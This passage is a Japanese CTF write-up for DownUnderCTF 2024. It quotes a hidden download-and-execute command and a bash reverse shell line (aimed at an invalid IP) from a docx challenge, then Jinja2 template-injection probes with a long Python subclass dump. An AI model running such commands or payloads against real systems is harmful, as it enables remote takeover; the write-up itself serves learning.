以下の内容はhttps://yocchin.hatenablog.com/entry/2024/07/09/082723より取得しました。


DownUnderCTF 2024 Writeup

この大会は2024/7/5 18:30(JST)~2024/7/7 18:30(JST)に開催されました。
今回もチームで参戦。結果は1934点で1515チーム中202位でした。
自分で解けた問題をWriteupとして書いておきます。

tldr please summarise (beginner) [misc]

docxを解凍する。word\document.xmlを見ると、怪しいコマンドが含まれている。

curl -sL https://pastebin.com/raw/ysYcKmbu | base64 -d > temp.sh && chmod +x temp.sh && ./temp.sh

base64デコードした内容を確認する。

$ curl -sL https://pastebin.com/raw/ysYcKmbu | base64 -d
bash -i >& /dev/tcp/261.263.263.267/DUCTF{chatgpt_I_n33d_2_3scap3} 0>&1

フラグが隠れていた。

DUCTF{chatgpt_I_n33d_2_3scap3}

parrot the emu (beginner) [web]

{{7*7}}と入力したら、49と返ってきた。
以下のように入力してみる。

{{().__class__.__base__.__subclasses__()}}

すると、以下のように返ってきた。

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'ast.AST'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'platform._Processor'>, <class '_socket.socket'>, <class 'array.array'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.useragents._UserAgentParser'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'uuid.UUID'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class '__future__._Feature'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'zipp.glob.Translator'>, <class 'zipp.InitializedState'>, <class 'zipp.SanitizedNames'>, <class 'zipp.Path'>, <class 'textwrap.TextWrapper'>, <class 'importlib_metadata._compat.NullFinder'>, <class 'importlib_metadata.Sectioned'>, <class 'importlib_metadata.EntryPoint'>, <class 'importlib_metadata.FileHash'>, <class 'importlib_metadata.Distribution'>, <class 'importlib_metadata.DistributionFinder.Context'>, <class 'importlib_metadata.FastPath'>, <class 'importlib_metadata.Lookup'>, <class 'importlib_metadata.Prepared'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.scaffold.Scaffold'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous._json._CompactJSON'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>]

整形すると、以下のようになる。

[<class 'type'>, 
<class 'weakref'>, 
<class 'weakcallableproxy'>, 
<class 'weakproxy'>, 
<class 'int'>, 
<class 'bytearray'>, 
<class 'bytes'>, 
<class 'list'>, 
<class 'NoneType'>, 
<class 'NotImplementedType'>, 
<class 'traceback'>, 
<class 'super'>, 
<class 'range'>, 
<class 'dict'>, 
<class 'dict_keys'>, 
<class 'dict_values'>, 
<class 'dict_items'>, 
<class 'dict_reversekeyiterator'>, 
<class 'dict_reversevalueiterator'>, 
<class 'dict_reverseitemiterator'>, 
<class 'odict_iterator'>, 
<class 'set'>, 
<class 'str'>, 
<class 'slice'>, 
<class 'staticmethod'>, 
<class 'complex'>, 
<class 'float'>, 
<class 'frozenset'>, 
<class 'property'>, 
<class 'managedbuffer'>, 
<class 'memoryview'>, 
<class 'tuple'>, 
<class 'enumerate'>, 
<class 'reversed'>, 
<class 'stderrprinter'>, 
<class 'code'>, 
<class 'frame'>, 
<class 'builtin_function_or_method'>, 
<class 'method'>, 
<class 'function'>, 
<class 'mappingproxy'>, 
<class 'generator'>, 
<class 'getset_descriptor'>, 
<class 'wrapper_descriptor'>, 
<class 'method-wrapper'>, 
<class 'ellipsis'>, 
<class 'member_descriptor'>, 
<class 'types.SimpleNamespace'>, 
<class 'PyCapsule'>, 
<class 'longrange_iterator'>, 
<class 'cell'>, 
<class 'instancemethod'>, 
<class 'classmethod_descriptor'>, 
<class 'method_descriptor'>, 
<class 'callable_iterator'>, 
<class 'iterator'>, 
<class 'pickle.PickleBuffer'>, 
<class 'coroutine'>, 
<class 'coroutine_wrapper'>, 
<class 'InterpreterID'>, 
<class 'EncodingMap'>, 
<class 'fieldnameiterator'>, 
<class 'formatteriterator'>, 
<class 'BaseException'>, 
<class 'hamt'>, 
<class 'hamt_array_node'>, 
<class 'hamt_bitmap_node'>, 
<class 'hamt_collision_node'>, 
<class 'keys'>, 
<class 'values'>, 
<class 'items'>, 
<class 'Context'>, 
<class 'ContextVar'>, 
<class 'Token'>, 
<class 'Token.MISSING'>, 
<class 'moduledef'>, 
<class 'module'>, 
<class 'filter'>, 
<class 'map'>, 
<class 'zip'>, 
<class '_frozen_importlib._ModuleLock'>, 
<class '_frozen_importlib._DummyModuleLock'>, 
<class '_frozen_importlib._ModuleLockManager'>, 
<class '_frozen_importlib.ModuleSpec'>, 
<class '_frozen_importlib.BuiltinImporter'>, 
<class 'classmethod'>, 
<class '_frozen_importlib.FrozenImporter'>, 
<class '_frozen_importlib._ImportLockContext'>, 
<class '_thread._localdummy'>, 
<class '_thread._local'>, 
<class '_thread.lock'>, 
<class '_thread.RLock'>, 
<class '_io._IOBase'>, 
<class '_io._BytesIOBuffer'>, 
<class '_io.IncrementalNewlineDecoder'>, 
<class 'posix.ScandirIterator'>, 
<class 'posix.DirEntry'>, 
<class '_frozen_importlib_external.WindowsRegistryFinder'>, 
<class '_frozen_importlib_external._LoaderBasics'>, 
<class '_frozen_importlib_external.FileLoader'>, 
<class '_frozen_importlib_external._NamespacePath'>, 
<class '_frozen_importlib_external._NamespaceLoader'>, 
<class '_frozen_importlib_external.PathFinder'>, 
<class '_frozen_importlib_external.FileFinder'>, 
<class 'zipimport.zipimporter'>, 
<class 'zipimport._ZipImportResourceReader'>, 
<class 'codecs.Codec'>, 
<class 'codecs.IncrementalEncoder'>, 
<class 'codecs.IncrementalDecoder'>, 
<class 'codecs.StreamReaderWriter'>, 
<class 'codecs.StreamRecoder'>, 
<class '_abc._abc_data'>, 
<class 'abc.ABC'>, 
<class 'dict_itemiterator'>, 
<class 'collections.abc.Hashable'>, 
<class 'collections.abc.Awaitable'>, 
<class 'types.GenericAlias'>, 
<class 'collections.abc.AsyncIterable'>, 
<class 'async_generator'>, 
<class 'collections.abc.Iterable'>, 
<class 'bytes_iterator'>, 
<class 'bytearray_iterator'>, 
<class 'dict_keyiterator'>, 
<class 'dict_valueiterator'>, 
<class 'list_iterator'>, 
<class 'list_reverseiterator'>, 
<class 'range_iterator'>, 
<class 'set_iterator'>, 
<class 'str_iterator'>, 
<class 'tuple_iterator'>, 
<class 'collections.abc.Sized'>, 
<class 'collections.abc.Container'>, 
<class 'collections.abc.Callable'>, 
<class 'os._wrap_close'>, 
<class '_sitebuiltins.Quitter'>, 
<class '_sitebuiltins._Printer'>, 
<class '_sitebuiltins._Helper'>, 
<class 'types.DynamicClassAttribute'>, 
<class 'types._GeneratorWrapper'>, 
<class 'enum.auto'>, 
<enum 'Enum'>, 
<class 're.Pattern'>, 
<class 're.Match'>, 
<class '_sre.SRE_Scanner'>, 
<class 'sre_parse.State'>, 
<class 'sre_parse.SubPattern'>, 
<class 'sre_parse.Tokenizer'>, 
<class 'itertools.accumulate'>, 
<class 'itertools.combinations'>, 
<class 'itertools.combinations_with_replacement'>, 
<class 'itertools.cycle'>, 
<class 'itertools.dropwhile'>, 
<class 'itertools.takewhile'>, 
<class 'itertools.islice'>, 
<class 'itertools.starmap'>, 
<class 'itertools.chain'>, 
<class 'itertools.compress'>, 
<class 'itertools.filterfalse'>, 
<class 'itertools.count'>, 
<class 'itertools.zip_longest'>, 
<class 'itertools.permutations'>, 
<class 'itertools.product'>, 
<class 'itertools.repeat'>, 
<class 'itertools.groupby'>, 
<class 'itertools._grouper'>, 
<class 'itertools._tee'>, 
<class 'itertools._tee_dataobject'>, 
<class 'operator.itemgetter'>, 
<class 'operator.attrgetter'>, 
<class 'operator.methodcaller'>, 
<class 'reprlib.Repr'>, 
<class 'collections.deque'>, 
<class '_collections._deque_iterator'>, 
<class '_collections._deque_reverse_iterator'>, 
<class '_collections._tuplegetter'>, 
<class 'collections._Link'>, 
<class 'functools.partial'>, 
<class 'functools._lru_cache_wrapper'>, 
<class 'functools.partialmethod'>, 
<class 'functools.singledispatchmethod'>, 
<class 'functools.cached_property'>, 
<class 're.Scanner'>, 
<class 'string.Template'>, 
<class 'string.Formatter'>, 
<class 'contextlib.ContextDecorator'>, 
<class 'contextlib._GeneratorContextManagerBase'>, 
<class 'contextlib._BaseExitStack'>, 
<class 'typing._Final'>, 
<class 'typing._Immutable'>, 
<class 'typing.Generic'>, 
<class 'typing._TypingEmpty'>, 
<class 'typing._TypingEllipsis'>, 
<class 'typing.Annotated'>, 
<class 'typing.NamedTuple'>, 
<class 'typing.TypedDict'>, 
<class 'typing.io'>, 
<class 'typing.re'>, 
<class 'ast.AST'>, 
<class 'markupsafe._MarkupEscapeHelper'>, 
<class '_weakrefset._IterationGuard'>, 
<class '_weakrefset.WeakSet'>, 
<class 'threading._RLock'>, 
<class 'threading.Condition'>, 
<class 'threading.Semaphore'>, 
<class 'threading.Event'>, 
<class 'threading.Barrier'>, 
<class 'threading.Thread'>, 
<class 'warnings.WarningMessage'>, 
<class 'warnings.catch_warnings'>, 
<class 'select.poll'>, 
<class 'select.epoll'>, 
<class 'selectors.BaseSelector'>, 
<class 'subprocess.CompletedProcess'>, 
<class 'subprocess.Popen'>, 
<class 'platform._Processor'>, 
<class '_socket.socket'>, 
<class 'array.array'>, 
<class 'socketserver.BaseServer'>, 
<class 'socketserver.ForkingMixIn'>, 
<class 'socketserver._NoThreads'>, 
<class 'socketserver.ThreadingMixIn'>, 
<class 'socketserver.BaseRequestHandler'>, 
<class 'datetime.date'>, 
<class 'datetime.time'>, 
<class 'datetime.timedelta'>, 
<class 'datetime.tzinfo'>, 
<class 'weakref.finalize._Info'>, 
<class 'weakref.finalize'>, 
<class '_random.Random'>, 
<class '_sha512.sha384'>, 
<class '_sha512.sha512'>, 
<class 'urllib.parse._ResultMixinStr'>, 
<class 'urllib.parse._ResultMixinBytes'>, 
<class 'urllib.parse._NetlocResultMixinBase'>, 
<class 'calendar._localized_month'>, 
<class 'calendar._localized_day'>, 
<class 'calendar.Calendar'>, 
<class 'calendar.different_locale'>, 
<class 'email._parseaddr.AddrlistClass'>, 
<class '_struct.Struct'>, 
<class '_struct.unpack_iterator'>, 
<class 'email.charset.Charset'>, 
<class 'email.header.Header'>, 
<class 'email.header._ValueFormatter'>, 
<class 'email._policybase._PolicyBase'>, 
<class 'email.feedparser.BufferedSubFile'>, 
<class 'email.feedparser.FeedParser'>, 
<class 'email.parser.Parser'>, 
<class 'email.parser.BytesParser'>, 
<class 'email.message.Message'>, 
<class 'http.client.HTTPConnection'>, 
<class '_ssl._SSLContext'>, 
<class '_ssl._SSLSocket'>, 
<class '_ssl.MemoryBIO'>, 
<class '_ssl.Session'>, 
<class 'ssl.SSLObject'>, 
<class 'mimetypes.MimeTypes'>, 
<class 'zlib.Compress'>, 
<class 'zlib.Decompress'>, 
<class '_bz2.BZ2Compressor'>, 
<class '_bz2.BZ2Decompressor'>, 
<class '_lzma.LZMACompressor'>, 
<class '_lzma.LZMADecompressor'>, 
<class 'ast.NodeVisitor'>, 
<class 'dis.Bytecode'>, 
<class 'tokenize.Untokenizer'>, 
<class 'inspect.BlockFinder'>, 
<class 'inspect._void'>, 
<class 'inspect._empty'>, 
<class 'inspect.Parameter'>, 
<class 'inspect.BoundArguments'>, 
<class 'inspect.Signature'>, 
<class 'traceback.FrameSummary'>, 
<class 'traceback.TracebackException'>, 
<class 'logging.LogRecord'>, 
<class 'logging.PercentStyle'>, 
<class 'logging.Formatter'>, 
<class 'logging.BufferingFormatter'>, 
<class 'logging.Filter'>, 
<class 'logging.Filterer'>, 
<class 'logging.PlaceHolder'>, 
<class 'logging.Manager'>, 
<class 'logging.LoggerAdapter'>, 
<class 'werkzeug._internal._Missing'>, 
<class 'werkzeug.exceptions.Aborter'>, 
<class 'werkzeug.urls.Href'>, 
<class '_hashlib.HASH'>, 
<class '_hashlib.HMAC'>, 
<class '_blake2.blake2b'>, 
<class '_blake2.blake2s'>, 
<class 'tempfile._RandomNameSequence'>, 
<class 'tempfile._TemporaryFileCloser'>, 
<class 'tempfile._TemporaryFileWrapper'>, 
<class 'tempfile.SpooledTemporaryFile'>, 
<class 'tempfile.TemporaryDirectory'>, 
<class 'urllib.request.Request'>, 
<class 'urllib.request.OpenerDirector'>, 
<class 'urllib.request.BaseHandler'>, 
<class 'urllib.request.HTTPPasswordMgr'>, 
<class 'urllib.request.AbstractBasicAuthHandler'>, 
<class 'urllib.request.AbstractDigestAuthHandler'>, 
<class 'urllib.request.URLopener'>, 
<class 'urllib.request.ftpwrapper'>, 
<class 'http.cookiejar.Cookie'>, 
<class 'http.cookiejar.CookiePolicy'>, 
<class 'http.cookiejar.Absent'>, 
<class 'http.cookiejar.CookieJar'>, 
<class 'werkzeug.datastructures.ImmutableListMixin'>, 
<class 'werkzeug.datastructures.ImmutableDictMixin'>, 
<class 'werkzeug.datastructures._omd_bucket'>, 
<class 'werkzeug.datastructures.Headers'>, 
<class 'werkzeug.datastructures.ImmutableHeadersMixin'>, 
<class 'werkzeug.datastructures.IfRange'>, 
<class 'werkzeug.datastructures.Range'>, 
<class 'werkzeug.datastructures.ContentRange'>, 
<class 'werkzeug.datastructures.FileStorage'>, 
<class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, 
<class 'dataclasses._MISSING_TYPE'>, 
<class 'dataclasses._FIELD_BASE'>, 
<class 'dataclasses.InitVar'>, 
<class 'dataclasses.Field'>, 
<class 'dataclasses._DataclassParams'>, 
<class 'werkzeug.sansio.multipart.Event'>, 
<class 'werkzeug.sansio.multipart.MultipartDecoder'>, 
<class 'werkzeug.sansio.multipart.MultipartEncoder'>, 
<class 'importlib.abc.Finder'>, 
<class 'importlib.abc.Loader'>, 
<class 'importlib.abc.ResourceReader'>, 
<class 'pkgutil.ImpImporter'>, 
<class 'pkgutil.ImpLoader'>, 
<class 'hmac.HMAC'>, 
<class 'werkzeug.wsgi.ClosingIterator'>, 
<class 'werkzeug.wsgi.FileWrapper'>, 
<class 'werkzeug.wsgi._RangeWrapper'>, 
<class 'werkzeug.utils.HTMLBuilder'>, 
<class 'werkzeug.wrappers.accept.AcceptMixin'>, 
<class 'werkzeug.wrappers.auth.AuthorizationMixin'>, 
<class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, 
<class '_json.Scanner'>, 
<class '_json.Encoder'>, 
<class 'json.decoder.JSONDecoder'>, 
<class 'json.encoder.JSONEncoder'>, 
<class 'werkzeug.formparser.FormDataParser'>, 
<class 'werkzeug.formparser.MultiPartParser'>, 
<class 'werkzeug.user_agent.UserAgent'>, 
<class 'werkzeug.useragents._UserAgentParser'>, 
<class 'werkzeug.sansio.request.Request'>, 
<class 'werkzeug.wrappers.request.StreamOnlyMixin'>, 
<class 'werkzeug.sansio.response.Response'>, 
<class 'werkzeug.wrappers.response.ResponseStream'>, 
